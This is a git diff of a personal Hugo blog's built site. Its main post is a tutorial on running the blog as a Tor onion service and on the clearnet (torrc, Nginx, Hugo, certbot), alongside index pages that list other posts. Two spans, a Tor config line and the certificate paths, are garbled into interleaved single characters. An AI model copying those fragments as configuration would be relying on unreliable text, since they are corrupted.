    + + + + + + +H +H +i +i +d +d +d +d +e +e +n +n +S +S +e +e +r +r +v +v +i +i +c +c +e +e +D +P +i +o +r +r +t +v +8 +a +0 +r +/ +1 +l +2 +i +7 +b +. +0 +t +. +o +0 +r +. +1 +h +: +i +3 +d +3 +d +0 +e +1 +n +_ +s +i +t +e +/ + + + + +
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    + + + +
    + + + +/ +/ +e +e +t +t +c +c +/ +/ +l +l +e +e +t +t +s +s +e +e +n +n +c +c +r +r +y +y +p +p +t +t +/ +/ +l +l +i +i +v +v +e +e +/ +/ +b +b +l +l +o +o +g +g +. +. +a +a +l +l +i +i +p +p +o +o +u +u +r +r +i +i +m +m +j +j +o +o +u +u +r +r +n +n +e +e +y +y +s +s +. +. +i +i +r +r +/ +/ +f +p +u +r +l +i +l +v +c +k +h +e +a +y +i +. +n +p +. +e +p +m +e +m + + + + +
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +]]>
    \ No newline at end of file diff --git a/public/categories/notes/page/1/index.html b/public/categories/notes/page/1/index.html new file mode 100644 index 0000000..4cc0ed7 --- /dev/null +++ b/public/categories/notes/page/1/index.html @@ -0,0 +1,2 @@ +http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/notes/ + \ No newline at end of file diff --git a/public/favicon.png b/public/favicon.png new file mode 100644 index 0000000..e69de29 diff --git a/public/images/hedgedoc-cover.png b/public/images/hedgedoc-cover.png new file mode 100644 index 0000000..4ee35d2 Binary files /dev/null and b/public/images/hedgedoc-cover.png differ diff --git a/public/images/inet/inet_animation_collage.jpg b/public/images/inet/inet_animation_collage.jpg new file mode 100644 index 0000000..f5bc7c5 Binary files /dev/null and b/public/images/inet/inet_animation_collage.jpg differ diff --git a/public/images/inet/inet_hardware_collage.jpg b/public/images/inet/inet_hardware_collage.jpg new file mode 100644 index 0000000..5235a50 Binary files /dev/null and b/public/images/inet/inet_hardware_collage.jpg differ diff --git a/public/images/inet/inet_logo_fusion_merged.png b/public/images/inet/inet_logo_fusion_merged.png new file mode 100644 index 0000000..a1ffbd4 Binary files /dev/null and b/public/images/inet/inet_logo_fusion_merged.png differ diff --git a/public/images/inet/inet_ui_collage.jpg b/public/images/inet/inet_ui_collage.jpg new file mode 100644 index 0000000..7814ddf Binary files /dev/null and b/public/images/inet/inet_ui_collage.jpg differ diff --git a/public/images/matrix-cover.png b/public/images/matrix-cover.png new file mode 100644 index 0000000..88f4702 Binary files /dev/null and b/public/images/matrix-cover.png differ diff --git a/public/index.html b/public/index.html new file mode 100644 index 0000000..839945b --- /dev/null +++ b/public/index.html @@ -0,0 +1,38 @@ +AlipourIm journeys +

    Skin routine

    I don’t know how to answer the “why?” or “whyyyyy?” or even “whe the f***?” I have a skin routine. Last year, after I came to Germany, I asked a female friend about how to do skin care. She touched my face and said “Knock on wood, you have good skin!”. So… idk why I decided to take extra care of my skin, but I did! +Generaly speaking, things like this make me feel good about myself. Like I’m doing something positive while not being tortured! It’s always fun to rub a creme on your face, or gently message it. Even cleaning the face skin feels refreshing. Everything also smells nice! +...

    October 20, 2025 · 3 min · Iman Alipour +
    Six looks of the INET LED logo

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    October 17, 2025 · 16 min · Iman Alipour +

    Movie review: Scent of a Woman

    I’m not a big movie watcher. In fact, I don’t remember the last time I watched a whole movie in a single day. It’s not that I don’t enjoy it, it’s that I want to do this with at least another person. It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so. +...

    October 13, 2025 · 5 min · Iman Alipour +

    Hobbies

    When I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. In fact, when being interviewed for the position, I was asked about my hobbies. +For some reason I think I have like the weirdest hobbies of all time. Like, you know, people binge series, go to clubs, bars, hang out, and so on. But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards. +...

    October 10, 2025 · 11 min · Iman Alipour +

    Relationships

    Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone. +So… do you also think you’re a lover boy, kind, nice person? So do I! I think I’m actually really good at making friends with people. Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things. +...

    October 5, 2025 · 10 min · Iman Alipour +

    September '25

    I started the month by finalizing my draft for Conext Student workshop. Let’s cross our fingers and hope things work out and that it gets accepted. Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time. +I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. I visited my parents after 13 months(!), and also my brother after more than two years. We had so much fun! I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. What a delightful trip it was. I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. Now that my brother also has his greencard, we can travel together and see eachother more often too! +...

    September 30, 2025 · 2 min · Iman Alipour +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    September 29, 2025 · 3 min · Iman Alipour +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    September 19, 2025 · 6 min · Iman Alipour +

    Stealth Trojan VPN Behind Cloudflare Guide

    Introduction So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there? +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare. +This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me). +We’ll anonymise domains and secrets, so substitute with your own: +...

    September 9, 2025 · 4 min · Iman Alipour +

    Augest '25

    This month started with me setting up a deadline for Conext student workshop. I wanted to submit something not only to get the chance to attend a nice conference, but to create a network, meet researchers, and to get a chance to present my work and get feedback on it. I also worked on my code-base, finally making everything work by replacing Jool with clatd for performing CxLAT. This darn thing wasted so much of my time! I did learn a bit along the way, but oh well. Such is life! +...

    August 31, 2025 · 2 min · Iman Alipour +
    + +RSS + \ No newline at end of file diff --git a/public/index.json b/public/index.json new file mode 100644 index 0000000..c0cd9a6 --- /dev/null +++ b/public/index.json @@ -0,0 +1 @@ +[{"content":"I don\u0026rsquo;t know how to answer the \u0026ldquo;why?\u0026rdquo; or \u0026ldquo;whyyyyy?\u0026rdquo; or even \u0026ldquo;whe the f***?\u0026rdquo; I have a skin routine. Last year, after I came to Germany, I asked a female friend about how to do skin care. She touched my face and said \u0026ldquo;Knock on wood, you have good skin!\u0026rdquo;. So\u0026hellip; idk why I decided to take extra care of my skin, but I did!\nGeneraly speaking, things like this make me feel good about myself. Like I\u0026rsquo;m doing something positive while not being tortured! It\u0026rsquo;s always fun to rub a creme on your face, or gently message it. Even cleaning the face skin feels refreshing. Everything also smells nice!\nOh\u0026hellip; and yeah, idk why I\u0026rsquo;m not good at excercising, but I really like to do things like this! Weird. I should definitly start going to gym and working out. It is needed for me.\nSo\u0026hellip; I decided to watch a few Youtube videos, and a guide about skin care for men. My routine is super simple! I have a face cleanser that I use first and wash my face with it. It always feels refreshing and nice to use it! I initially bought the Cerave cleaner, but switched to \u0026ldquo;Jack Black Pure Clean Daily Facial Cleanser\u0026rdquo; after that one ended. The cleanser deeply cleans your skin, and almost all of the bad things that might be on your skin. You don\u0026rsquo;t need to use the cleanser in the morning, but you should definitely use it at night. It\u0026rsquo;s ok to wash your face with water in the morning.\nNext step for me is applying the toner. I use \u0026ldquo;NIVEA Derma Skin Clear Toner\u0026rdquo;. It smells really nice, and is quite refreshing to apply to skin! The toner adjusts the PH of your skin, and deep cleans things that the cleanser could not. I gently rub it and let it dry, no rinsing is required here.\nAfter this I apply an exfoliant to exfoliate my skin. I\u0026rsquo;ve been using \u0026ldquo;Paula\u0026rsquo;s Choice Skin Perfecting 2% BHA Liquid Exfoliant\u0026rdquo; so far, but this time I got \u0026ldquo;BULLDOG Original Exfoliating Face Scrub for Purer Skin\u0026rdquo;. Haven\u0026rsquo;t used it yet, but the Paula\u0026rsquo;s choice one is definitly good. The thing with it is that you don\u0026rsquo;t have to message it, it\u0026rsquo;s not physical, it\u0026rsquo;s an acid. I prefer the scrubby oness, but I think these are better for your skin. I\u0026rsquo;ll see how I like the new one, and if I prefer it or not. No rinsing is required here either.\nI then apply my eye cream which is also from CeraVe. Haven\u0026rsquo;t really seen much of a difference under my eyes, but it is supposed to help. I don\u0026rsquo;t know! It feels good to apply the eye cream regardless.\nThe one to the last step for me is the best one! Moisturiser. Yayy!!! It actually feels weird to use a moisturiser since I\u0026rsquo;ve watched Mortuary Assisant\u0026rsquo;s gameplay, and the last step there for embalming the body is applying moisturiser. Feels weird. The one I use is water based, hence perfect for men. I use \u0026ldquo;Neutrogena Hydro Boost Aqua Gel Moisturiser\u0026rdquo;. As a man if you use oil-based, you\u0026rsquo;ll get acne. So don\u0026rsquo;t.\nI learned to use pads for applying some of these stuff, it feels cooler when using, specifically when you gently tap your face with a cotton pad! ^^\nAnd\u0026hellip; last but not least is applying sun screen. Nothing special here. I just make sure to use SPF 50+ sun screen for better protection.\nEven if it does nothing, it still makes me feel good about myself.\nThe whole routine does not take more than 10 min, but gives me an energy boost, and a lot of good vibes both at night and in the morning!\n","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/skin_routine/","summary":"\u003cp\u003eI don\u0026rsquo;t know how to answer the \u0026ldquo;why?\u0026rdquo; or \u0026ldquo;whyyyyy?\u0026rdquo; or even \u0026ldquo;whe the f***?\u0026rdquo; I have a skin routine.\nLast year, after I came to Germany, I asked a female friend about how to do skin care.\nShe touched my face and said \u0026ldquo;Knock on wood, you have good skin!\u0026rdquo;.\nSo\u0026hellip; idk why I decided to take extra care of my skin, but I did!\u003c/p\u003e\n\u003cp\u003eGeneraly speaking, things like this make me feel good about myself.\nLike I\u0026rsquo;m doing something positive while not being tortured!\nIt\u0026rsquo;s always fun to rub a creme on your face, or gently message it.\nEven cleaning the face skin feels refreshing.\nEverything also smells nice!\u003c/p\u003e","title":"Skin routine"},{"content":" I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D\nThe Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it\u0026rsquo;s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!\nSo I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.\nThis post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I\u0026rsquo;ll try to include as much detail as I can.\n1) Sketch → CAD → Print I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:\nMounting bosses for the front diffusers (M2 screws), Cable holes between chambers (rounded to avoid cutting silicone wire), and A small wiring bay for the controller and power. I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.\nThe design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.\n2) The Look I Wanted I wasn\u0026rsquo;t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I\u0026rsquo;m happy with it and want to let it be there doing it\u0026rsquo;s job.\n3) The Tidy Mess Behind the Panel Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:\nA 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers. A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot. I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.\nThe soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won\u0026rsquo;t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD\n4) A Web Panel that Stays Out of the Way The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.\nThere’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it\u0026rsquo;s not funny for anyone to fidn this out when looking at your creation. So\u0026hellip; yea, I took precautions not to see people getting seizures looking at my creation. :-)\n5) The Color Language for Air The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:\n\u0026lt; 500 ppm: Cyan — outdoor‑like fresh air. 500–799: Green — good. 800–1199: Yellow — getting stale. 1200–1499: Orange — poor; you’ll feel it. 1500–1999: Red — ventilate now. ≥ 2000: Purple — the logo is politely yelling. I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.\nBy default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it\u0026rsquo;s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it\u0026rsquo;s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.\n6) The Code — a guided tour (no giant blob, promise) This whole project runs from a single Python file. Think of it like a tiny orchestra:\none thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.\nBelow is what each section does, with just enough code to be useful (and not enough to make your eyes cross).\n6.1 Configuration (the knobs) Let\u0026rsquo;s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.\nLED_COUNT=78, LED_PIN=18, LED_BRIGHT=255 SCHEDULE_PATH=\u0026#34;schedule.json\u0026#34; DB_PATH=\u0026#34;sensor.db\u0026#34; SAFE_MODE=True # hide flashy animations by default Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.\n6.2 Strip setup + frame-diff (no flicker magic) Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.\nframe = [(0,0,0)] * LED_COUNT _dirty = False def _set_pixel(i, r, g, b): # only touch hardware if the value actually changed if frame[i] != (r,g,b): strip.setPixelColorRGB(i, r, g, b) frame[i] = (r,g,b) global _dirty; _dirty = True def flush(): if _dirty: strip.show(); _dirty=False Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.\n6.3 A tiny color wheel helper Classic rainbow helper used by a few animations:\ndef wheel(pos): # 0..255 → (r,g,b) ... Why it’s like this: I\u0026rsquo;ll use it again and again; it keeps color math out of the animations.\n6.4 State \u0026amp; orchestration Let\u0026rsquo;s hold a registry of animations, a stop flag, and the currently playing thread.\nanimations = {} stop_event = threading.Event() current_thread = None def register(name, safe=True): def wrap(fn): animations[name] = {\u0026#34;fn\u0026#34;: fn, \u0026#34;safe\u0026#34;: safe} return fn return wrap def run_animation(fn): # cooperative hand-off: stop current, start next if current_thread and current_thread.is_alive(): stop_event.set(); current_thread.join() stop_event.clear() t = threading.Thread(target=fn, name=fn.__name__, daemon=True) t.start(); globals()[\u0026#34;current_thread\u0026#34;] = t Why it’s like this: adding a new animation is a one-liner @register(\u0026quot;name\u0026quot;). Clean exits prevent torn frames and half-drawn comets.\n6.5 Animations (the mood) Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().\nredpulse — calm breathing in red; great default. colorwave — slow rainbow that reads clearly behind diffusers. comet — a single head with a fading tail orbiting the logo. They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.\nWhy it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.\n6.6 CO₂ color language (with smoothing + hysteresis) The star of the show. Now map ppm to color bands and keep transitions human-pleasant.\n\u0026lt; 500: Cyan (fresh) 500–799: Green 800–1199: Yellow 1200–1499: Orange 1500–1999: Red ≥ 2000: Purple BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,∞,(123,44,191))] EMA_ALPHA=0.15; HYST=35 # Every tick: ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2 band = hysteresis_aware_band(ema, last_band, HYST) target = BANDS[band].color current = lerp(current, target, 0.10) # gentle hue easing level = breathe(0.25 Hz, low=10, high=220) draw all pixels = current * level Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.\n6.7 Optional SCD41 sensor thread (the polite listener) If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.\ndef _start_sensor(): try: scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement() except: return # sensor optional def loop(): while True: time.sleep(5) if scd4x.data_ready: co2_data.update({...}) db.insert(timestamp, co2, temperature, humidity) threading.Thread(target=loop, daemon=True).start() Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.\n6.8 Scheduler + 90-minute override (humans win, then reset) A background thread asks, every few seconds, which mode should be running:\nIf the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI). Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse). Save/load the schedule atomically to schedule.json. def scheduler_pick(): if now \u0026lt; override_until: return override_mode for row in load_schedule(): if matches(now, row): return row[\u0026#34;mode\u0026#34;] return \u0026#34;redpulse\u0026#34; Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.\n6.9 The web panel (tiny Flask, big buttons) Three pages, no fuss:\n/status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity. /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation. /schedule — simple table editor; Add Row and Save; writes atomically. @app.post(\u0026#34;/set\u0026#34;) def set_mode(): mode = request.form[\u0026#34;mode\u0026#34;] minutes = clamp( int(form[\u0026#34;duration\u0026#34;]), 0, 180 ) set_override(mode, minutes) run_animation(animations[mode][\u0026#34;fn\u0026#34;]) return redirect(\u0026#34;/control\u0026#34;) Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.\n6.10 Boot choreography At startup I:\nTry the sensor thread (if hardware is there). Start the scheduler thread. Immediately play redpulse (so there’s a friendly glow right away). Start Flask; on shutdown I clear the strip. if __name__ == \u0026#34;__main__\u0026#34;: _start_sensor() threading.Thread(target=scheduler_loop, daemon=True).start() run_animation(redpulse) app.run(host=\u0026#34;0.0.0.0\u0026#34;, port=5000) Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.\nTL;DR (but keep the vibes) Frame-diff = no flashes. EMA + hysteresis = smooth, truthful color. Breathing = presence, not signage. Threads per thing (LEDs / sensor / scheduler) = no fights. Atomic files = no corrupted schedules. Safe Mode by default = people \u0026gt; pixels. That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.\nWhy this shape of code? One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights. Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly 